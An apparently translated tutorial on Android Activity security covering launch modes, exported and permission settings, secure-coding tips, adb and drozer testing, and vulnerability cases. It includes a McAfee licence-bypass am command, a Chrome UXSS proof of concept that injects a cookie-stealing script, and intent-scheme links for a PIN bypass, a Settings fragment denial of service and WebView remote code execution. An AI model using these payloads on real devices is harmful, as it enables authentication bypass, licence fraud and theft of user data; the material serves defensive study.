Android Activity Security

Android Activity Security

Each Android Application is composed of basic Android components such as Activity, Service, Content Provider and Broadcast Receiver. Among them, Activity is the main body of the application. It undertakes a lot of display and interaction work. It can even be understood that an "interface" is an Activity.

An activity is a visual user interface that is presented for the user to interact with. For example, an activity can present a list of menu items for the user to choose from, or display a collection of photos with captions. A text messaging application might include an activity that displays a list of contacts to send a message to, an activity that composes a message to a selected contact, and activities that scroll through previous messages and change settings. Although they together form a cohesive user interface, each of these activities remains independent of the others. Each is implemented as a subclass of the Activity class.

An application can have only one activity, or, as in the case of the SMS application just mentioned, many. The purpose of each activity, and the number of activities, naturally depends on the application and its design. Usually, there is always one activity marked as the first thing the user sees when the application is started. The way to go from one activity to another is to start the next one with the current activity.

0x01 Key points

Reference: http://developer.android.com/guide/components/activities.html

life cycle

Startup method

Display Startup

Register components in the configuration file

  1. <activity android:name= ".ExampleActivity" android:icon= "@drawable/app_icon" >
  2. <intent-filter>
  3. <action android:name= "android.intent.action.MAIN" />
  4. <category android:name= "android.intent.category.LAUNCHER" />
  5. </intent-filter>
  6. </activity>

Directly use the intent object to specify the application and activity to start

  1. Intent intent = new Intent( this , ExampleActivity. class );
  2. startActivity(intent);

The action attribute of intent-filter is not configured, and the activity can only be started explicitly.

It is recommended to use display startup for private Activities.

Implicit Startup

Intent intent = new Intent(Intent.ACTION_SEND);

intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);

startActivity(intent);

Launch mode

Activity has four loading modes:

standard: Default behavior. Each time you start an activity, the system creates a new instance in the target task.

singleTop: If the target activity instance already exists at the top of the target task's stack, the system will use that instance directly and call onNewIntent() of that activity (without recreating it).

singleTask: Creates an instance of the activity at the top of the stack of a new task. If the instance already exists, the system will use it directly and call onNewIntent() of the activity (it will not be re-created)

singleInstance: Similar to "singleTask", but no other activities will run in the target activity's task, and there will always be only one activity in that task.

The setting location is in the android:launchMode attribute of the activity element in the AndroidManifest.xml file:

  1. <activity android:name= "ActB" android:launchMode= "singleTask" ></activity>

Activity launch mode is used to control the creation of task and Activity instances. The default is "standard" mode. In standard mode, a new Activity instance is generated once it is started and no new task is created. The launched Activity and the launching Activity are in the same stack. When creating a new task, the content in the intent may be read by malicious applications, so it is recommended to use the default standard mode without configuring the launch mode attribute if there is no special requirement. launchMode can be overwritten by the flag of Intent.

taskAffinity

In the Android system, tasks manage activities. The naming of tasks depends on the affinity of the root activity.

By default, each activity in an app uses the app's package name as affinity. The assignment of tasks depends on the app, so by default all activities in an app belong to the same task. To change the assignment of tasks, you can set the affinity value in the AndroidManifest.xml file, but doing so will risk the information in the intent carried by activities started by different tasks being read by other applications.

FLAG_ACTIVITY_NEW_TASK

An important flag in intent flag

When launching an Activity, you can change the launch mode by setting the flags property of the intent through the setFlags() or addFlags() method. The FLAG_ACTIVITY_NEW_TASK flag represents the creation of a new task (the launched Activity is neither in the foreground nor in the background). The FLAG_ACTIVITY_MULTIPLE_TASK flag can be set at the same time as FLAG_ACTIVITY_NEW_TASK. In this case, a task will be created, so sensitive data should not be carried in the intent.

Task

Stack: Activity undertakes a lot of display and interaction work. From a certain perspective, the application we see is a combination of many Activities. In order to make these many Activities work together without confusion, the Android platform has designed a stack mechanism to manage Activities. It follows the principle of first-in, last-out. The system always displays the Activity at the top of the stack, which is the last opened Activity.

Task: refers to grouping related Activities together and managing them in the form of Activity Stack. From the user experience point of view, an "application" is a Task, but fundamentally speaking, a Task can be composed of one or more Android Applications.

If the user leaves a task for a long time, the system will clean up the activities below the top of the stack so that when the task is reopened, the top activity of the stack is restored.

Intent Selector

When multiple Activities have the same action, a selector will pop up for the user to choose when the action is called.

Permissions

android:exported

Whether an Activity component can be started by an external application depends on this property. If it is set to true, the Activity can be started by an external application. If it is set to false, the Activity cannot be started. In this case, the Activity can only be started by its own app. (It can also be started by the same user id or root)

The exported action attribute of an intent-filter is false by default (without a filter, the activity can only be started by a clear class name, so only the program itself can start it). The exported action attribute of an intent-filter is true by default.

The exported attribute is only used to limit whether the Activity is exposed to other apps. You can also limit external launch of the activity through the permission declaration in the configuration file.

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal: Default value. Low-risk permissions, which can be used as long as they are applied for, and do not require user confirmation during installation.

dangerous: permissions like WRITE_SETTING and SEND_SMS are risky because they can be used to reconfigure the device or cause phone charges. Use this protectionLevel to identify permissions that the user may be concerned about. Android will warn the user about the need for these permissions when installing the program, and the specific behavior may vary depending on the Android version or the mobile device on which it is installed.

signature: These permissions are granted only to programs that are signed with the same key as this program.

signatureOrSystem: Similar to signature, except that system applications also need to be authorized to access it. This allows custom Android system applications to also obtain permissions. This level of protection helps integrate the system compilation process.

  1. <!-- *** POINT 1 *** Define a permission with protectionLevel= "signature" -->
  2. <permission
  3. android:name= "org.jssec.android.permission.protectedapp.MY_PERMISSION"  
  4. android:protectionLevel= "signature" />
  5. <application
  6. android:icon= "@drawable/ic_launcher"  
  7. android:label= "@string/app_name" >
  8. <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute -->
  9. <activity
  10. android:name= ".ProtectedActivity"  
  11. android:exported= "true"  
  12. android:label= "@string/app_name"  
  13. android:permission= "org.jssec.android.permission.protectedapp.MY_PERMISSION" >
  14. <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter -->
  15. </activity>
  16.  
  17. Key Methods
  18.  
  19. onCreate(Bundle savedInstanceState)
  20. setResult( int resultCode, Intent data)
  21. startActivity(Intent intent)
  22. startActivityForResult(Intent intent, int requestCode)
  23. onActivityResult( int requestCode, int resultCode, Intent data)
  24. setResult ( int resultCode, Intent data)
  25. getStringExtra (String name)
  26. addFlags( int flags)
  27. setFlags( int flags)
  28. setPackage(String packageName)
  29. getAction()
  30. setAction(String action)
  31. getData()
  32. setData(Uri data)
  33. getExtras()
  34. putExtra(String name, String value)

0x02 Activity Classification

The type of activity and how it is used determine its risk and defense method, so the activities are classified as follows: Private, Public, Parter, In-house

private activity

Private Activities should not be started by other applications and are relatively safe

When creating an activity:

1. Do not specify taskAffinity //Task manages activity. The name of the task depends on the affinity of the root activity. In the default setting, the activity uses the package name as affinity. Tasks are assigned by apps, so activities of an app belong to the same task by default. The intent to start an activity across tasks may be read by other apps.

2. Do not specify lunchMode //Default is standard, it is recommended to use the default. When creating a new task, the content of the intent may be read by other applications.

3. Set the exported property to false

4. Be careful with data received from intents, regardless of whether they are sent internally.

5. Sensitive information can only be operated within the application

When using activities:

6. Do not set the FLAG_ACTIVITY_NEW_TASK tag when starting the activity //The FLAG_ACTIVITY_NEW_TASK tag is used to create a new task (the launched Activity is not in the stack).

7. Open the activity inside the application and use the display startup method

8. When putExtra() contains sensitive information, the destination should be the activity within the app

9. Be careful with returned data, even if the data comes from the same application

public activities

Publicly exposed Activity components can be started by any application

Create an activity:

1. Set the exported property to true

2. Handle received intents carefully

3. The returned data should not contain sensitive information

Use activity:

4. Do not send sensitive information

5. Be careful when receiving return data

For Parter and In-house, please refer to http://www.jssec.org/dl/android_securecoding_en.pdf

Safety Tips

Private Activities used in the app should not be configured with intent-filters. If intent-filters are configured, the exported attribute must be set to false.

Using the default taskAffinity

Use default launchMode

Do not set the FLAG_ACTIVITY_NEW_TASK flag of the intent when starting the Activity

Be careful with received intents and the information they carry

Signature verification in-house app

When an Activity returns data, be aware of the risk of leaking information in the target Activity.

Use explicit launch when the target Activity is clear

Be careful when handling data returned by the Activity. The data returned by the target Activity may be forged by malicious applications.

Verify whether the target Activity is a malicious app to avoid intent spoofing. Hash signature verification can be used

When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection

Try not to send sensitive information as much as possible. Consider the risk that the information in the intent of launching a public Activity may be stolen by malicious applications.

0x04 Test Method

View the activity:

Decompile and view the activity components in the configuration file AndroidManifest.xml (pay attention to those configured with intent-filter and those without export="false")

Directly use RE to open the installed app to view the configuration file

Drozer scan: run app.activity.info -a packagename

Dynamic view: logcat sets the filter tag to ActivityManager

Start the activity:

adb shell: am start -a action -n package/comonet

drozer: run app.activity.start --action android.action.intent.VIEW ...

Write your own app to call startActiviy() or startActivityForResult()

Browser intent scheme remote start: http://drops.wooyun.org/tips/2893

0x05 Example

Case 1: Bypassing local authentication

WooYun: Huawei Cloud Disk Android Client Local Password Bypass (Non-root also available)

Bypass McAfee key verification and activate for free.

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

Case 2: Local Denial of Service

WooYun: Local Denial of Service on Kuaiwan Browser Android Client

WooYun: Local Denial of Service Vulnerability in Snowball Android Client

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android's native Settings app has a crash issue (can cause a denial of service attack) (involving fragment)

Case 3: Interface hijacking

WooYun: Android uses floating windows to hijack the interface and phishing accounts

Case 4: UXSS

The vulnerability exists in Chrome Android version v18.0.1025123, class "com.google.android.apps.chrome.SimpleChromeActivity" allows malicious applications to inject js code into any domain. Part of the AndroidManifest.xml configuration file is as follows

  1. <activity android:name= "com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode= "singleTask" android:configChanges= "keyboard|keyboardHidden|orientation|screenSize" >
  2. <intent-filter>
  3. <action android:name= "android.intent.action.VIEW" />
  4. <category android:name= "android.intent.category.DEFAULT" />
  5. </intent-filter>
  6. </activity>
  7.  
  8. Class "com.google.android.apps.chrome.SimpleChromeActivity" is configured but "android:exported" is not set to "false" . The malicious app first calls this class and sets data to "http://google.com ". When calling again, it sets data to malicious js such as 'javascript:alert(document.cookie)', and the malicious code will be executed in the http://google.com domain. The "com.google.android.apps.chrome.SimpleChromeActivity" class can be opened through Android api or am (activityManager). POC is as follows  
  9.  
  10. public   class TestActivity extends Activity {
  11. @Override  
  12. public   void onCreate(Bundle savedInstanceState) {
  13. super .onCreate(savedInstanceState);
  14. Intent i = new Intent();
  15. ComponentName comp = new ComponentName(
  16. "com.android.chrome" ,
  17. "com.google.android.apps.chrome.SimpleChromeActivity" );
  18. i.setComponent(comp);
  19. i.setAction( "android.intent.action.VIEW" );
  20. Uri data = Uri.parse( "http://google.com" );
  21. i.setData(data);
  22.  
  23. startActivity(i);
  24.  
  25. try {
  26. Thread.sleep( 5000 );
  27. }
  28. catch (Exception e) {}
  29.  
  30. data = Uri.parse( "javascript:alert(document.cookie)" );
  31. i.setData(data);
  32.  
  33. startActivity(i);
  34. }
  35. }

Case 5: Implicitly launched intent contains sensitive data

There are no public cases yet. The attack model is as shown below.

Case 6: Fragment Injection (Bypass PIN + Denial of Service)

Fragment is only mentioned here, and I may write another article later.

  1. <a href= "intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end" >
  2. 16. bypass Pin android 3.0 - 4.3 (selector)
  3. </a><p>
  4.  
  5. <a href= "intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end" >
  6. 17. fragment dos android 4.4 (selector)
  7. </a><p>

Case 7: webview RCE

  1. <a href= "intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end" >

<<:  How to safely exit multiple Activities on Android

>>:  How to create good code

Recommend

US smartphone startup Nextbit sells assets to Razer

Smartphone startup Nextbit has stopped selling it...

In the wave of madness and impetuousness, will Apple fall behind the 5G era?

Some time ago, China Mobile announced that the fi...

How to use Zhihu to divert private domain traffic?

In this era of prevalence of self-media and unive...

What is the principle of maxpool in CNN?

First, let’s talk about Max pooling in detail. Ma...

Remembering! The backbone of China

In the year 2021, which is about to pass, 27 acad...

It’s the beginning of autumn, why don’t you go to the grassland?

No grassland China's mountains and rivers wil...

APP operation: How to design an activity that users can’t stop

520 has just passed and the Dragon Boat Festival ...

NetEase’s marketing methodology for screen-sweeping!

To swipe the screen once may be luck, but to swip...

5A Brand 4-Stage Growth Strategy

First, let me say the golden sentence: From the p...

Summary of Android's dominant control View

[[163808]] About Android View Controls Controls i...